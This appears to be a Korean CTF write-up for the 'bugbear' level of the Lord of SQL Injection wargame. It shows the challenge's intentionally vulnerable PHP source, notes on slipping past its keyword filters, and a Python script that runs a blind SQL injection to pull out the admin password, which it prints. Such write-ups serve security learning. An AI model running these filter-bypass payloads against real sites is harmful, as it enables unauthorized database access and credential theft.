LOS Lv.13 bugbear

bugbear

query : select id from prob_bugbear where id='guest' and pw='' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

Solution

no 입력값에는 {_, ., (), substr, ascii, =, or, and, 공백, like, 0x} 사용 불가 
pw는 {'} 사용 불가함. 

like가 사용 불가해서 비교 연산자를 IN으로 대체.
ascii는 ord로 대체하려했으나 ord에서 or 때문에 필터링 걸림.
이 부분은 다른 함수로 대체 가능함. 
hex로 바꿔서 비교를 하던가 md5를 이용을 하는 등이 있음.

import requests

url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

pw=''

for i in range(1,9) :
    for j in range(48,123) :
        payload={'pw':'1','no':'1/**/||/**/id/**/in/**/("admin")/**/&&/**/hex(mid(pw,'+str(i)+',1))/**/in/**/(hex('+str(j)+'))#'}
      # payload={'pw':'1','no':'1/**/||/**/id/**/in/**/("admin")/**/&&/**/md5(mid(pw,'+str(i)+',1))/**/in/**/(md5("'+chr(j)+'"))#'}
        res=requests.get(url,headers=headers, params=payload, cookies=cookies)
        #print(res.text)
        if "Hello admin" in res.text :
            pw+=chr(j)
            print("pw : "+pw) # 52dc3991
            break